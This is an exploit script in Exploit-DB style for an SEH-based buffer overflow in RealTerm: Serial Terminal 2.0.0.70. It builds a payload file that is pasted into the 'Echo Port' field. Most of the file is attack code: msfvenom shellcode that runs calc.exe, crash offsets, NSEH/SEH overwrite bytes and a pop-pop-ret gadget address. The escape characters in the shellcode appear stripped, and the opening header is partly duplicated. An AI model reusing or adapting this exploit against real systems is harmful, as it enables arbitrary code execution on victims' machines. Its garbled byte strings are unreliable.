#!/usr/bin/python

# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH)
# Version: 2.0.0.70
# Credits to: Alejandra S #!/usr/bin/python

# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH)
# Version: 2.0.0.70
# Credits to: Alejandra Sanchez for finding initial DoS
# https://www.exploit-db.com/exploits/46391
# Matteo Malvica for creating initial PoC
# https://www.exploit-db.com/exploits/46441
# Differences: - Uses a larger space for shellcode, 260 bytes, due to more precise jumping and less NOP padding
# - Filtered on char 0x3a representing ":", which causes "Invalid port" error in program
# Date: 06-03-2019
# Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com)
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/
# Tested on: Win7 x86 SP1 build 7601, Win8 6.3 build 9600
# Caveats: SEHOP disabled in registry, although this is also true for PoC EDB-ID 46441 since the PoC wouldn't work otherwise

# 1.- Run the python script it will create a new file as indicated by "filename" variable
# 2.- Copy the content of the created file to clipboard
# 3.- Open realterm.exe
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On'
# 8.- Result

import sys, struct

filename = "sploit_realterm_custom-calc_x86.txt"

# Shellcode
# msfvenom -p windows/exec cmd=calc.exe -a x86 --platform windows -v shellcode -f python -b "x0ax0dx00x3ax20"
# Payload size: 220 bytes
shellcode = ""
shellcode += "xbfx83xe7x1ex48xd9xecxd9x74x24xf4x58"
shellcode += "x33xc9xb1x31x31x78x13x03x78x13x83xc0"
shellcode += "x87x05xebxb4x6fx4bx14x45x6fx2cx9cxa0"
shellcode += "x5ex6cxfaxa1xf0x5cx88xe4xfcx17xdcx1c"
shellcode += "x77x55xc9x13x30xd0x2fx1dxc1x49x13x3c"
shellcode += "x41x90x40x9ex78x5bx95xdfxbdx86x54x8d"
shellcode += "x16xccxcbx22x13x98xd7xc9x6fx0cx50x2d"
shellcode += "x27x2fx71xe0x3cx76x51x02x91x02xd8x1c"
shellcode += "xf6x2fx92x97xccxc4x25x7ex1dx24x89xbf"
shellcode += "x92xd7xd3xf8x14x08xa6xf0x67xb5xb1xc6"
shellcode += "x1ax61x37xddxbcxe2xefx39x3dx26x69xc9"
shellcode += "x31x83xfdx95x55x12xd1xadx61x9fxd4x61"
shellcode += "xe0xdbxf2xa5xa9xb8x9bxfcx17x6exa3x1f"
shellcode += "xf8xcfx01x6bx14x1bx38x36x72xdaxcex4c"
shellcode += "x30xdcxd0x4ex64xb5xe1xc5xebxc2xfdx0f"
shellcode += "x48x3cxb4x12xf8xd5x11xc7xb9xbbxa1x3d"
shellcode += "xfdxc5x21xb4x7dx32x39xbdx78x7exfdx2d"
shellcode += "xf0xefx68x52xa7x10xb9x31x26x83x21x98"
shellcode += "xcdx23xc3xe4"

# Maximum length
maxlen = 1000

# Crash offsets
crash_nseh = 268
crash_seh = crash_nseh + 4

# JMP offset
ret_jmp = 262

# Padding
pad = "x90" * 2

# Variables
prefix = pad # Initial padding
prefix += shellcode # Custom shellcode, max size 260 bytes
prefix += "B" * (ret_jmp - len(prefix)) # Filler until return point of negative jump
prefix += "xE9xF7xFExFFxFF" # JMP 0xFFFFFEFC # Jmp to beginning of buffer
prefix += "C" * (crash_nseh - len(prefix)) # Filler until return point of NSEH negative jump
nseh = "xebxf8x90x90" # JMP SHORT 0x8 # NOP # NOP
seh = struct.pack("<L", 0x00406e27) # pop ecx # pop ebp # ret 0x04 # realterm.exe
suffix = "D" * (maxlen - len(prefix + nseh + seh)) # Just filling

# Constructing payload
payload = prefix + nseh + seh + suffix

f = open(filename, 'wb')
f.write(payload)
f.close()